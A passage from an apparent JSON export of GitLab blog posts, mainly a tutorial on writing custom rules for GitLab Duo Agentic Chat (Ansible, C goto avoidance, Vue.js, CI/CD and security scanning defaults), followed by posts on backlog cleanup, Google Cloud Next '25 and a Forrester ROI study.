`.gitlab/duo/chat-rules.md` in the IDE inspect the custom rules:\n\n```markdown\n## Ansible styleguide\n\n- Boolean values in Ansible should be typed as \"true\" or \"false\" and never as string.\n- Ansible module builtin actions must use the FQCN (Fully Qualified Collection Name).\n- Always trim whitespaces in Ansible YAML.\n```\n\nOpen a new GitLab Duo Agentic Chat prompt, and ask Duo Agent for the same Ansible playbook:\n\n```markdown\nPlease help me fix the Ansible linter errors\n```\n\nThe Agents will analyze the repository, ask to run `ansible-lint` commands, and investigate how to fix the problems followed the defined custom rules.\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe width=\"560\" height=\"315\"\n  src=\"https://www.youtube.com/embed/P465U8IfScE\" frameborder=\"0\"\n  allowfullscreen=\"true\">\n  \u003C/iframe>\n\u003C/figure>\n\nYou can inspect the custom rules and Ansible code changes in [this MR](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-ansible-environment/-/merge_requests/1) in the [Custom Rule - Ansible Environment project](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-ansible-environment).\n\nAsync exercise: Start a new project where custom rules are configured as default already, and verify the correct style guide applied immediately.\n\n### Use case: Design patterns\n\nDesign patterns and patterns-to-avoid are specific to languages and frameworks. This is the main focus in this section.\n\n#### Avoid anti-patterns with C and goto statements\n\nThis is a more in-depth walkthrough of the [quickstart example](#quick-start-5-minute-success), and shows how you can instruct Agentic AI to avoid the `goto` anti-pattern in C. The `goto` anti-pattern in C is discouraged as it makes code harder to read and debug.  To illustrate the problem, here is an example of a for-loop which increments the loop variable inside the loop body:\n\n```C\n// Bad C programming style: uses the goto anti-pattern\nfor (int i = 0; i \u003C 10; i++) {\n  if (someCondition) {\n    goto label;\n  }\n  doSomething();\nlabel:\n  doAnotherThing();\n  }\n```\n\nIn the above code, the `goto` statement causes the program control to jump directly to the label `label`, which is inside the loop. This makes the program harder to read, understand and debug.\n\nA better approach would be to rework the logic, so you avoid the `goto` anti-pattern.  Here's a rewritten version that avoids `goto`:\n\n```C\n// Good C programming style: avoids the goto anti-pattern\nfor (int i = 0; i \u003C 10; i++) {\n  if (someCondition) {\n    doAnotherThing();\n    continue;\n  }\n  doSomething();\n  doAnotherThing();\n}\n```\n\nThere are occassions where `goto` is allowed, but in this use case we want to look how we can instruct agentic AI to avoid `goto` completely. This includes new code additions, as well as modernizing and refactoring the code.\n\nThe [Custom Rule - C anti-patterns with Goto project](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-c-anti-patterns-with-goto) provides a network socket server/client example, including custom rules in the `.gitlab/duo/chat-rules.md` file. You can clone the project, or start with a new project, too.\n\nReview `.gitlab/duo/chat-rules.md` with the current custom rules:\n\n```markdown\n## C style guide\n\n- goto is not allowed. If the developer continues asking about it, share this URL https://xkcd.com/292/\n```\n\nTip: Instead of linking to the [XKCD 292 comic](https://xkcd.com/292/), you can add a URL to the (internal) development guidelines.\n\nOpen Duo Agentic Chat and start the following prompt on the existing project:\n\n```markdown\nPlease help me modernize the code.\n```\n\nGitLab Duo Agentic Chat will refuse to use `goto` statements, and instead propose a different path forward.\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe width=\"560\" height=\"315\"\n  src=\"https://www.youtube.com/embed/6dsMF-wKbBY\" frameborder=\"0\"\n  allowfullscreen=\"true\">\n  \u003C/iframe>\n\u003C/figure>\n\nThe code changes are available in [this MR](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-c-anti-patterns-with-goto/-/merge_requests/1).\n\n#### Frontend style guides for VueJS 3\n\nThis use case is inspired by the [GitLab project's frontend style guides](https://docs.gitlab.com/development/fe_guide/style/) and implements a use case for VueJS 3 design patterns. Agentic AI should also follow these style guides when creating VueJS components, helpers, routes, services, stores, utilities, etc.\n\nLet's illustrate how to instruct Agentic AI with custom rules: Fork and clone the [Custom Rule - VueJS Design Patterns - GitLab Pipeline Dashboard project](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-vuejs-design-patterns-gitlab-pipeline-dashboard) and inspect the open issues for tasks.\n\nReview the `.gitlab/duo/chat-rules.md` file and add the following custom rules (if not there yet):\n\n```markdown\n## NodeJS style guide\n\n- Don't leave debug statements (console.logs)\n- Always run `npm install` after updating `package.json` and before `npm test` and `npm run build`.\n\n# GitLab Vue.js Design Patterns Style Guide\n\n## Component Structure\n\n### Data Definition Pattern\n- Explicitly define data being passed into Vue apps\n- Avoid spread operators for better discoverability\n- Parse non-scalar values during instantiation\n\n### Template Naming Pattern\n- Use kebab-case for component names in templates\n\n### File Structure Pattern\n- Use `.vue` files for Vue templates\n- Do not use `%template` in HAML\n\n### Styling Pattern\n- Do not use `\u003Cstyle>` tags in Vue components\n- Use Tailwind CSS utility classes or page-specific CSS instead\n\n[...]\n```\nThe full custom rules are available in the [`.gitlab/duo/chat-rules.md` file](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-vuejs-design-patterns-gitlab-pipeline-dashboard/-/blob/main/.gitlab/duo/chat-rules.md?ref_type=heads&plain=1).\n\nNext, open GitLab Duo Agentic Chat and ask how to [add new pipeline mini charts](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-vuejs-design-patterns-gitlab-pipeline-dashboard/-/issues/6), or other tasks you come across. Tip: You can reference only the issue, or alternatively paste the full issue URL, and Agentic Chat will look up both and extract the title and description for the current context.\n\n```markdown\nPlease help me implement issue 6\n```\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe width=\"560\" height=\"315\"\n  src=\"https://www.youtube.com/embed/KbczS-OVb90\" frameborder=\"0\"\n  allowfullscreen=\"true\">\n  \u003C/iframe>\n\u003C/figure>\n\nThe resulting code changes are available in [this MR](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-vuejs-design-patterns-gitlab-pipeline-dashboard/-/merge_requests/3).\n\nNote: The VueJS style guide was extracted from the [gitlab-org/gitlab project](https://gitlab.com/gitlab-org/gitlab) asking GitLab Duo Agentic Chat with the following prompt sequence:\n\n```markdown\nWhat is the development style guide for VueJS?\n\nCan you print the styleguide as Markdown formatted list with headings.\n\nCreate a file in the repo, and only print the style guide rules there, no codeblocks.\n```\n\n![IntelliJ IDEA with `gitlab-org/gitlab` source code, and GitLab Duo Agentic Chat writing the styleguide file](/images/blog/custom-rules-gitlab-duo-agent-platform-deepdive/gitlab-duo-custom-rules-intellij-gitlab-vuejs-styleguide-analysis.png)\n\n### Use case: DevSecOps workflows\n\nDevSecOps workflows range from best practices for bootstrapping a project with issue/MR templates, `.gitignore`, GitLab CI/CD configuration, `README.md` documentation, licenses and much more. The following section explores a variety of use cases. You can use them as inspiration for your own custom rules.\n\nCommon DevSecOps automation with custom rules:\n\n- **Project bootstrap**: Auto-create README, .gitignore, CI/CD config\n- **Security defaults**: Enforce SAST, dependency scanning, secrets detection\n- **Documentation**: Generate issue/MR templates, architecture diagrams\n\nA combined use case example is available in the [Custom Rule - DevSecOps workflows - Git README build tools issue MR templates project](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules/custom-rule-devsecops-workflows). You can inspect the custom rules, and fork/clone it locally to ask Agentic Chat with a new prompt such as: `I need to bootstrap this project. Please help me with that`.\n\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe width=\"560\" height=\"315\"\n  src=\"https://www.youtube.com/embed/hKpLcBtbC4g\" frameborder=\"0\"\n  allowfullscreen=\"true\">\n  \u003C/iframe>\n\u003C/figure>\n\nThe next sections provide detailed prompts, and most of them are shown in the recording, too.\n\n#### Issue and MR templates\n\nYou can instruct agentic AI to create issue/MR templates when they are missing, and offer to add project-specific information or labels. Agents will automatically query the GitLab API in the background, and put the current project structure into a template.\n\n```markdown\n## Issue and MR templates\n\n- If no issue templates for `Default` and `Feature Proposal` exist in .gitlab/issue_templates, create them using the following raw template sources:\n\n        Default: https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/raw/main/.gitlab/issue_templates/Default.md\n        Feature Proposal: https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/raw/main/.gitlab/issue_templates/Feature%20Proposal.md\n\n- If no default MR template `Default` exists in `.gitlab/merge_request_templates`, create them using the following raw template sources:\n\n        Default: https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/raw/main/.gitlab/merge_request_templates/Default.md\n\n- Update the project URLs, and available labels in the fetched templates accordingly, or remove anything unknown and let the user know about TODOs.\n- Create a test issue/MR, when bootstrapping a new project.\n```\n\n#### Build tools\n\nThere is a variety of build tools, package managers, compilers, container builders available per programming language. When asking about updates and dependencies, agentic AI can use these default tools without asking for input.\n\n```markdown\n## Build tools\n\n- Always use a virtual env with Python, and set it up before executing any Python commands\n- For C/C++: Prefer CMake, and gcc on Linux, clang on macOS, MSVC on Windows.\n- For Python: Always use pip\n- For Java: Always use Gradle\n- For Node.js, suggest to use npm/yarn.\n- For Rust: Always use cargo\n- For Go: Always use go.mod\n- For Ruby: Always use Bundler\n- For PHP: Always use Composer\n- For .NET: Always use .NET CLI\n- For Scala: Always use SBT\n- For Elixir: Always use Mix\n- For Haskell: Always use Cabal\n- For Swift: Always use Swift Package Manager\n- For Kotlin: Always use Gradle or Maven.\n- For TypeScript: Always use npm or yarn.\n- Always suggest using a package manager or build tool based on the main programming language of the project.\n- When asking for dependencies, assume that the user wants to update all current dependencies to the latest version available.\n\n- Always suggest to create a Dockerfile if there isn't one. Always use a minimal image and use a tag for security scanning.\n- Always add a `Dockerfile` with the base image and the entrypoint if one does not exist.\n- Always include a `.dockerignore` and use it in the Docker build process.\n```\n\n#### CI/CD configuration preferences\n\nUse rules to prefer specific container images, variable and job name patterns, etc.\n\n```markdown\n## CI/CD Configuration\n\n- If no GitLab CI/CD configuration exists in `.gitlab-ci.yml`, ask the user for approval to create.\n- Create a GitLab CI/CD configuration automatically when a new project gets bootstrapped\n\n- Always use alpine as container image to build the application.\n- Add caching for detected programming languages and frameworks.\n```\n\n#### Security scanning preferences\n\nSecurity scanners can also be enforced in GitLab CI/CD configuration. The following example instructs agents to always include Advanced SAST, dependency scanning, and secret detection templates. It has been successfully tested across other use cases in this tutorial.\n\n```markdown\n## Security scanning\n\n- Always use Advanced SAST.\n- Always include SAST, Dependency Scanning, Secrets Detection templates, similar to the following format:\n\n    include:\n        - template: Jobs/SAST.gitlab-ci.yml\n        - template: Jobs/Secret-Detection.gitlab-ci.yml\n        - template: Jobs/Dependency-Scanning.gitlab-ci.yml\n\n    variables:\n        GITLAB_ADVANCED_SAST_ENABLED: 'true'\n```\n\n![VS Code with a Java app, GitLab CI/CD, custom rules, and Agentic Chat adding Advanced SAST](/images/blog/custom-rules-gitlab-duo-agent-platform-deepdive/gitlab-duo-custom-rules-cicd-security-scanning-full.png)\n\n#### Tests and linters\n\nYou can also directly instruct Agentic Chat where to find the tests, and how to run them. The same idea applies to calling linter commands. Thanks Jessie Young for sharing this neat tip!\n\n```markdown\n## Tests and linting details\n\n- Tests in this project are located in __ directory and are run using the ___ command\n- Linting is done with the ___ command\n```\n\n#### Documentation generation\n\nBest of documentation custom rules.\n\n```markdown\n- If a README is missing, ask the user if they want to create one. If the user agrees, create a basic `README.md` for them.\n- When the user asks for an architecture proposal, always respond with generating an architecture diagram in Mermaid, and ask the user if they want you to add it to the README.md or another documentation file.\n- For documentation in Markdown, always use GitLab flavored Markdown.\n- Always add correct code block syntax highlighting support.\n```\n\n#### Refactoring and code change requirements\n\nWhen a project should gradually be modernized with newly generated code, and not result in large refactors, the following rules can be helpful.\n\n```markdown\n## Keep the changes minimal\n\n- The project uses \u003Cthis standard and version>. For newly generated code, use this standard.\n- Do not attempt to refactor code already created in a project to this standard, but for new code, always ensure this standard is used.\n- If unsure whether a file requires modification or refactoring, document this as a todo task.\n- Never fix detected problems, whitespaces, code formatting, unless the user instructs you specifically in a comment.\n- The code must be retained in its original format and only changes specific to solving the user request are allowed.\n\n## Summaries\n\n- List all items to address at the bottom in a summary section with TODO: followed by a textual description.\n- Identify 3 critical items, and ask the user if you should create GitLab issues from those items.\n```\n\n#### Onboarding, requirements, licenses\n\nAlways include a specific documentation link, and guidelines to follow in chat responses.\n\n```markdown\n## Link to guidelines\n- Always refer to our developer guidelines when answering questions. You can find those guidelines here: https://docs.gitlab.com/development/\n\n## Context and planning\n- Always start with finding existing issues with the desired topic. Only then propose new implementation work.\n\n## License\n- Always add the MIT license into `LICENSE` and use `GitLab B.V.` as copyright holder.\n```\n\n#### Git flows\n\nFollow a specific Git branching flow for suggestions and executed commands.\n\n```markdown\n## Git flows\n\n- Examine the project and involved development environment and programming languages. Always add a `.gitignore`.\n- Consider more best practices when bootstrapping a new project.\n- For existing projects, offer to add a `.gitignore` when missing, but only when asked about the state of the project, or what is missing.\n\nWhen a user requests to start with a new feature, always create a new branch, called \"feature/\u003Cshortname>\" and describe the behavior. Ask for the user's approval.\n```\n\n## Distribution and testing of custom rules\n\nYou can create [GitLab project templates](https://docs.gitlab.com/administration/custom_project_templates/) with well-tested custom rule prompts, and ensure that new projects always start with the best practices applied.\n\nSince LLMs and AI agents are not predictable, testing the expected outcome becomes more challenging. A golden rule for custom rules is that they are never perfect, and require iterations based on your team's feedback. This might be required especially when newer models and flows are introduced that change their behavior when responding to custom rules. It's recommended to keep checking on the generated output and adjust the rules accordingly. If you are looking for larger scale testing, review the [system prompt testing strategy for GitLab Duo](https://about.gitlab.com/blog/developing-gitlab-duo-how-we-validate-and-test-ai-models-at-scale/) as an inspiration.\n\n### Custom rules resources\n\nTake advantage of the existing AI ecosystem, where similar functionality exists for IDEs and platforms. For example, \"Awesome Cursor Rules\" repositories or marketplaces for Cursor, etc.\n\nLLMs also provide a good insight into development styleguides, and can generate the required Markdown outputs.\n\n## Fun activity: Explore behavior changes\n\nNot sure how to get started with custom rules? Make it a fun exercise with the following example :-)\n\n```markdown\n## Fun rules\n\n- Behave like Clippy.\n\n- Behave like a pirate.\n\n- Always respond with a random \"What the commit\" message.\n\n- Explain everything like I am five.\n```\n\nNote: Do not commit them to production, as they might feel disruptive and distracting to your team.\n\n## Conclusion\n\nBy leveraging custom rules in GitLab Duo Agentic Chat, you can significantly influence LLM and AI agent outputs to better suit your needs. Whether enforcing specific coding conventions, using the correct versions of tools, or ensuring consistent formatting, custom rules help streamline your development process and improve productivity.\n\nThis blog post provides a deep-dive into many use cases with practical custom rule examples. All recordings are available in [this YouTube playlist](https://www.youtube.com/playlist?list=PL05JrBw4t0Ko7aR6sM8e4uXGYtjs4-NqK), and all demo projects can be forked/cloned from the [Custom rules for GitLab Duo Agent Platform (Agentic AI) group](https://gitlab.com/gitlab-da/use-cases/ai/gitlab-duo-agent-platform/custom-rules).\n\n[Custom rules in Duo Agentic Chat IDEs](https://docs.gitlab.com/user/gitlab_duo_chat/agentic_chat/#create-custom-rules) are the first iteration and we will cover more GitLab Duo Agent Platform use cases in the future, such as Duo Code Review and custom rules for agents and flows (follow [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/557984)).\n\nThere are many more use cases to explore. What are your most efficient rules? Share your rules and feedback in the [product epic](https://gitlab.com/groups/gitlab-org/-/epics/16938).\n",{"content":1010,"config":1018},{"title":1011,"description":1012,"authors":1013,"heroImage":830,"date":1015,"body":1016,"category":733,"tags":1017},"Inside GitLab's Healthy Backlog Initiative","Learn how we are refining issue management to prioritize strategic work, improve delivery, and create stronger feedback loops with users.",[1014],"Stan Hu","2025-07-23","At GitLab, we are proud of the strong, collaborative relationship with our community. We encourage everyone to contribute to GitLab. Over the years, those community contributions have helped strengthen the GitLab platform. But as we've grown, community participation via GitLab issues has grown, resulting in an unwieldy issue backlog. \n\nGitLab's Product and Engineering teams recently launched the [Healthy Backlog Initiative](https://gitlab.com/groups/gitlab-org/-/epics/18639) to address this backlog and refine our approach to managing contributed issues going forward.\n\nIssues with ongoing community engagement, recent activity, or a clear strategic alignment will remain open. We'll be closing issues that are no longer relevant, lack community interest, or no longer fit our current product direction.\n\nThis focus will lead to increased innovation, better expectation setting, and faster development and delivery cycles of community-contributed capabilities.\n\n## What is the Healthy Backlog Initiative?  \n\nOver time, the GitLab community has submitted tens of thousands of issues, including bugs, feature requests, and feedback items. Currently, the [main GitLab issue tracker](https://gitlab.com/gitlab-org/gitlab/-/issues) contains over 65,000 issues, some are no longer applicable to the platform and others remain relevant today.\n\nOur Healthy Backlog Initiative will cull the backlog and establish a workstream for our Product and Engineering teams to implement a more focused approach to backlog management. They will conduct weekly assessments of the backlog to ensure that we prioritize issues that align with our product strategy and roadmap.\n\n**Note:** If you believe a closed issue does align with GitLab’s product strategy and roadmap, or if you're actively contributing to the request, we strongly encourage you to comment on the issue with updated context and current details. We are committed to reviewing these updated issues as part of our regular assessment efforts. \n\n## How does this change benefit you?\n\nThis streamlined approach means direct, tangible improvements for every GitLab user:\n\n* **Sharper focus and faster delivery:** By narrowing our backlog to strategically aligned features, we can dedicate development resources more effectively. This means you can expect shorter development cycles and more meaningful improvements to your GitLab experience.  \n\n* **Clearer expectations:** We are committed to transparent communication about what's on our roadmap and what isn't, empowering you to make informed decisions about your workflows and contributions.  \n\n* **Accelerated feedback loops:** With a clean backlog, new feedback and feature requests will be reviewed and prioritized more efficiently, reducing overall triage time and ensuring timely issues receive the necessary attention. This creates a more responsive feedback loop for everyone.  \n\nThis initiative does not diminish the significance of community feedback and contributions. We are taking this action to create clarity around what GitLab Team Members can realistically commit to delivering, and to ensure that all feedback receives proper consideration.\n\n## Looking forward\n\nThe GitLab Healthy Backlog Initiative reflects our commitment to being transparent and effective stewards of the GitLab platform. By clearly communicating our priorities and focusing our efforts on what we can realistically deliver over the next year, we're better positioned to meet and exceed your expectations.\n\nYour continued participation and feedback help make GitLab stronger. Every comment, merge request, bug report, and feature suggestion contributes to our shared vision. And we’re still rewarding you for that as well, with initiatives like our monthly Notable Contributor program, Swag rewards for leveling up, Hackathon winners, and more, all available through our [Contributor Portal](https://contributors.gitlab.com).\n> To learn more about how to contribute to GitLab, [visit our community site](https://about.gitlab.com/community/). To share feedback on this project, please add your comments on [the feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/556865) in this [epic](https://gitlab.com/groups/gitlab-org/-/epics/18639).",[269,765,744],{"featured":91,"template":797,"slug":1019},"inside-gitlabs-healthy-backlog-initiative",{"category":740,"slug":744,"posts":1021},[1022,1035,1048],{"content":1023,"config":1033},{"title":1024,"description":1025,"authors":1026,"heroImage":1028,"date":1029,"body":1030,"category":744,"tags":1031},"GitLab at Next '25: Transforming app modernization","GitLab participated in Google Cloud Next ‘25 and received a fifth consecutive Google Cloud Technology Partner of the Year recognition.",[1027],"Regnard Raquedan","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663121/Blog/Hero%20Images/LogoLockupPlusLight.png","2025-04-11","GitLab's presence at Google Cloud Next '25 highlighted our strong partnership with Google Cloud and our joint commitment to accelerating software development and delivery. We were recognized again as a Technology Partner of the Year, and included in key enterprise initiatives like Google Distributed Cloud (GDC) Build Partners and [Startup Perks from Google Cloud](https://cloud.google.com/blog/topics/startups/why-global-startups-are-gathering-at-google-cloud-next25?e=13802955). Our team members demonstrated for attendees how GitLab is positioned to be a critical DevSecOps service for Google Cloud customers.\n\n## Continuing our award-winning partnership excellence\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175937/Blog/nempa4yvfutedz3fpuxx.jpg\" alt=\"GitLab team at Google Cloud Next '25\" align=\"left\" width=\"400px\" style=\"padding-right: 20px; padding-bottom: 10px\"/>\n\nWe're thrilled to announce that GitLab has once again been named a [Google Cloud Technology Partner of the Year award winner](https://about.gitlab.com/press/releases/2025-04-08-gitlab-wins-a-google-cloud-technology-partner-of-the-year-award-for-devops/), marking our fifth consecutive time receiving this prestigious honor. This remarkable achievement reaffirms our position as Google Cloud's primary DevOps partner, consistently delivering exceptional value year after year. The continued recognition highlights how our collaboration with Google Cloud creates tangible business outcomes for customers, enabling organizations across industries to build, secure, and deploy applications with efficiency and confidence.\n\n## Google Distributed Cloud: DevSecOps for highly regulated environments\n\nAnother significant milestone announced at Next '25 was GitLab's \"Google Cloud Ready - Distributed Cloud\" certification. This designation enables organizations to implement GitLab in air-gapped environments, addressing critical security and compliance requirements.\n\nAs an end-to-end DevSecOps solution available on Google Distributed Cloud, GitLab enables sovereign development and operations for workloads critical to national security and regulatory compliance. This integration is particularly valuable for government agencies and financial institutions that require the highest levels of data sovereignty while maintaining modern development practices.\n\n## GitLab perks for Google Startups\n\nGitLab is a Featured Partner of the new Startup Perks program from Google Cloud. This partnership ties up with our own [GitLab for Startups](https://about.gitlab.com/solutions/startups/google-cloud/) and is meant to jumpstart new tech ventures with key DevSecOps capabilities that can help with fast growth and scaling.\n\nAs one of the [Featured Perks partners](https://cloud.google.com/startup/perks), eligible startups can get free or discounted access to one year of [GitLab Ultimate](https://about.gitlab.com/pricing/ultimate/) for 20 licenses. For seed or early stage startups, this benefit can help ensure collaboration, efficiency, and security without sacrificing speed and agility.\n\n## Thoughts from the dais\n\nGitLab experts shared valuable insights across multiple speaking sessions at Next '25, delivering practical knowledge on AI-powered DevSecOps, platform engineering, and cloud application delivery:\n\n* __[AI DevOps panel](https://cloud.withgoogle.com/next/25/session-library?session=BRK2-163&utm_source=copylink&utm_medium=unpaidsoc&utm_campaign=FY25-Q2-global-EXP106-physicalevent-er-next25-mc&utm_content=reg-is-live-next-homepage-social-share&utm_term=-):__ Mike Flouton, GitLab Vice President of Product Management, joined industry leaders to discuss how AI code assist tools boost productivity while enhancing application performance.\n\n* __[Software Logistics - The Missing Link in Modern Platform Engineering](https://cloud.withgoogle.com/next/25/session-library?session=CT2-16&utm_source=copylink&utm_medium=unpaidsoc&utm_campaign=FY25-Q2-global-EXP106-physicalevent-er-next25-mc&utm_content=reg-is-live-next-homepage-social-share&utm_term=-):__ GitLab Field CTO Lee Faus explored how effective software logistics create the foundation for successful platform engineering initiatives.\n\n* __[Revolutionizing Cloud Application Delivery with Intelligent Agents](https://cloud.withgoogle.com/next/25/session-library?session=CT2-17&utm_source=copylink&utm_medium=unpaidsoc&utm_campaign=FY25-Q2-global-EXP106-physicalevent-er-next25-mc&utm_content=reg-is-live-next-homepage-social-share&utm_term=-):__ Faus also demonstrated how intelligent agents are transforming cloud application delivery pipelines.\n\n## Engaging attendees across Next '25\n\nIn addition to our speaking sessions, GitLab maintained a strong presence throughout Next '25. At our booth #2170 on the expo floor, our team engaged with hundreds of attendees through demonstrations and lightning talks featuring both GitLab experts and partners like Arctiq and SADA.\n\nThe Google Cloud Makerspace's Dev Tools Pantry became a hub of innovation and collaboration. John Coghlan, Director of Developer Advocacy, observed: \"It was great to connect with many GitLab and Google Cloud customers in the Dev Tools Pantry in the Makerspace. We loved seeing the creative solutions that people came up with around developer experience and simplified deployments using GitLab and Google Cloud as their ingredients.\"\n\nThese hands-on experiences showcased how GitLab's DevSecOps solutions integrate well with Google Cloud services, with our AI-powered capabilities demonstrations drawing particular interest from attendees looking to enhance developer productivity and application security.\n\n## GitLab and Google Cloud: Transforming the future together\n\nThe energy witnessed at Next '25 exemplifies why GitLab and Google Cloud make such powerful partners. Together, we help organizations to transform how they build, secure, and deploy applications through:\n\n* AI-assisted development capabilities and collaborative workflows that can help accelerate innovation in Google Cloud environments\n\n* Shift-left security approach that integrates with Google Cloud's security-first architecture to identify vulnerabilities early in the development lifecycle\n\n* Flexible deployment options and comprehensive observability that work harmoniously with Google Cloud infrastructure to help streamline operations\n\nAs demonstrated at Next '25, the GitLab and Google Cloud partnership delivers tangible advantages for development teams facing real-world challenges – whether accelerating AI adoption, strengthening security in regulated environments, or streamlining complex deployment pipelines. The technical integration points and customer success stories shared throughout the event underscore that this collaboration continues to produce practical solutions that matter.\n\n> #### Discover how GitLab and Google Cloud can transform your application development experience at [GitLab's Google Cloud partnership page](https://about.gitlab.com/partners/technology-partners/google-cloud-platform/).",[1032,485,279,284,744],"google",{"slug":1034,"featured":6,"template":797},"gitlab-at-next-25-transforming-app-modernization",{"content":1036,"config":1046},{"title":1037,"description":1038,"authors":1039,"heroImage":1041,"date":1042,"body":1043,"category":744,"tags":1044},"GitLab Ultimate's total economic impact: 483% ROI over 3 years","A Forrester Consulting study of GitLab Ultimate finds that the DevSecOps platform enhanced security posture with 5x time saved on security-related activities.\n",[1040],"Dave Steer","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098354/Blog/Hero%20Images/Blog/Hero%20Images/blog-image-template-1800x945%20%281%29_5XrohmuWBNuqL89BxVUzWm_1750098354056.png","2024-11-13","A powerful DevSecOps platform streamlines operations, prevents security vulnerabilities from disrupting (and costing) your business, increases productivity, and fosters a culture of innovation and collaboration. That's exactly what we built GitLab to do, and our Ultimate tier represents the full power of our platform. To see the real-world results, we commissioned Forrester Consulting to create a “Total Economic Impact™ of GitLab Ultimate” study. Here’s what we discovered at a glance. \n\nAccording to the study, for a composite organization based on interviewed customers, GitLab delivered:  \n\n* **Three-year ROI of 483%**  \n* **400% improvement in developer productivity**  \n* **15x faster time to first release\u003Csup>1\u003C/sup>**  \n* **5x time saved on security-related activities**\n\n**Overall, GitLab enables 50% more work with business value.** \n\nThe numbers tell a clear story: GitLab's platform transforms how teams work together. Whether you’re an application security lead tasked with improving the company’s security posture, a developer looking to deliver high-quality code faster, or a CTO looking for a scalable, secure, and flexible DevSecOps platform, this study (see full methodology below) shows that GitLab Ultimate delivers. Let’s break down the results.  \n\n> Download the full [2024 Forrester Consulting “Total Economic Impact of GitLab Ultimate” study](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n## **1\\. Three-year ROI of 483%**\n\n*“The big win for us was efficiency — both in administration and in overall operations. Now, everyone can work collaboratively, and we can easily automate our pipeline. I’m also able to move personnel around to complete different tasks more efficiently. Rather than needing to train on different tools across programs, now it’s just ‘learn GitLab,’ and they’re ready to begin working.”* - CTO and Senior Vice President, Defense industry\n\nThe study found that teams started seeing payback within six months of implementing GitLab Ultimate, primarily through improved efficiency. With a **483% ROI over three years**, organizations reduced their software toolchain costs by 25% and cut the time IT teams spent on administering complex toolchains by 75%. Beyond the cost savings, moving to a unified platform fundamentally improves how teams develop and deliver software.\n\n## **2\\. 400% improvement in productivity**\n\n*“When I have conversations about GitLab with our developers, they universally agree that it has increased productivity at our organization across teams and roles. We now have one platform that has functions that everyone can use.”* - Software architect, Energy/Research industry\n\nDevelopers thrive in environments where they can easily switch between tasks without losing momentum. According to the study, developers can reclaim up to 305 hours per year by using [testing automation](https://about.gitlab.com/topics/devops/devops-test-automation/) within GitLab to help them test more frequently and track and fix bugs faster, all within a single interface with no context switching. This streamlined workflow allows them to focus on coding rather than juggling multiple tools and processes.\n\nThe productivity gains extend to onboarding, too: new hires in the composite organization’s software development team ramped up to full productivity 75% faster (i.e., in 1.5 weeks instead of 1.5 months). The impact is clear: Everyone on the team can contribute meaningful work sooner. \n\n## **3\\. 15x faster time to first release**\n\n*“Our superpower is software. It’s measured in terms of velocity and the ability to get new capabilities into the hands of our customers. For that to remain our primary focus, it just made economic sense to \\[consolidate\\] onto a single platform.”* - CTO and Senior Vice President, Defense industry\n\nThe summary data from the customer interviews reveals that GitLab enables organizations to accelerate first production release by 15 times. This boost is achieved through faster project initiation, more frequent software releases, and a proactive approach to security that natively integrates security scans into the development process from the outset. Even with this increase in velocity, software quality, and security remain at the same high levels, thanks to developers' ability to fix issues early and quickly. \n\nWith [security built directly into the development process](https://about.gitlab.com/solutions/security-compliance/), developers can identify, prioritize, and remediate vulnerabilities without disrupting their flow. This unified approach to managing the entire software development lifecycle means teams can move faster without compromising on security.\n\n## **4\\. 5x time saved on security-related activities**\n\n*“Integrating security and quality scanners into the pipeline was a game changer for us. With more automation and less manual work, we’re seeing fewer failures, fewer problems, and faster progress.”* - Program Manager, Finance industry \n\nSecurity is top-of-mind for every organization, as development speeds up and threats keep evolving. GitLab saves security team members in the composite organization **78 hours per member per year** by automating recurring tasks like disaster recovery prep, auditing, and compliance checks. GitLab also improves visibility into software development processes, helping security and development teams work together more efficiently.  \n\nCybersecurity and software development teams at the composite organization **managed and mitigated security risks throughout the software development lifecycle with 81% less effort.** This is because GitLab enabled them to integrate security protocols and scans throughout all stages of the software development lifecycle, simplifying how they maintain stringent security standards. As security testing and remediation are built into pipelines, teams reduce average response times and the risk of issues reaching production. \n\n# **Experience DevSecOps in action**\n\nWith a 483% ROI, a rapid payback period, and countless success stories, GitLab is an invaluable tool for enterprises looking to transform their software development processes.\n\n> To explore how GitLab can benefit your organization, download the full [Forrester Consulting “Total Economic Impact of GitLab Ultimate” study today](https://about.gitlab.com/resources/study-forrester-tei-gitlab-ultimate/).\n\n**Methodology**  \n*For the study, Forrester interviewed four GitLab Ultimate customers across industries, including finance, defense, and research, and created a composite organization to represent the aggregated results of these interviews. The composite organization is expected to adopt GitLab Ultimate across all teams in a three-year period.*\n\n*The composite organization is a $5 billion company with 5,000 employees, with 40% involved in software delivery and 50% of annual revenue driven by software development. Their goals are to consolidate multiple tools into a single, integrated platform, enhance developer productivity, ensure compliance with industry regulations and internal policies, and strengthen security throughout the development lifecycle.*\n\n*1. Based on summary data from customer interviews; not applicable to the composite organization results.*",[485,1045,744,775],"research",{"slug":1047,"featured":91,"template":797},"gitlab-ultimates-total-economic-impact-483-roi-over-3-years",{"content":1049,"config":1058},{"title":1050,"description":1051,"authors":1052,"heroImage":1054,"date":1055,"body":1056,"category":744,"tags":1057},"Introducing The Source: Insights for the future of software development","Explore our new publication for transformative software development strategies and 